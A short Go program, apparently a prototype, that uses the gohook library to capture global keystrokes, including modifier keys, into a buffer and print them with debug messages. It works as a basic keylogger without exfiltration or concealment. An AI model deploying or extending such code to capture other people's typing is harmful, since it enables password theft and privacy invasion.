package main

import (
	"fmt"

	hook "github.com/robotn/gohook"
)

const (
	SHIFT_RAWCODE = 65505
	CTRL_RAWCODE  = 65507
	ALT_RAWCODE   = 65513
	DEL_KEYCHAR   = 8
	ENTER_KEYCHAR = 13
	REG_START     = 32
	REG_END       = 255
)

func main() {
	evChan := hook.Start()
	defer hook.End()
	buff := make([]byte, 64)

	for ev := range evChan {
		switch ev.Rawcode {
		case SHIFT_RAWCODE:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[SHIFT]")...)
			} else if ev.Kind == hook.KeyUp {
				buff = append(buff, []byte("[shift]")...)
			}
			continue

		case CTRL_RAWCODE:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[CTRL]")...)
			} else if ev.Kind == hook.KeyUp {
				buff = append(buff, []byte("[ctrl]")...)
			}
			continue

		case ALT_RAWCODE:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[ALT]")...)
			} else if ev.Kind == hook.KeyUp {
				buff = append(buff, []byte("[alt]")...)
			}
			continue

		case DEL_KEYCHAR:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[DEL]")...)
			}
			continue
		}

		switch ev.Keychar {
		case DEL_KEYCHAR:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[DEL]")...)
			}
			continue

		case ENTER_KEYCHAR:
			if ev.Kind == hook.KeyDown {
				fmt.Printf("A")
				buff = append(buff, []byte("\n")...)
			}
			continue
		}

		if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
			if ev.Kind == hook.KeyDown {
				fmt.Printf("adding pesky %d (bcs %d)", ev.Keycode, ev.Rawcode)
				buff = append(buff, byte(ev.Keychar))
			}
		}

		fmt.Printf("'%s'\n", buff)
	}
}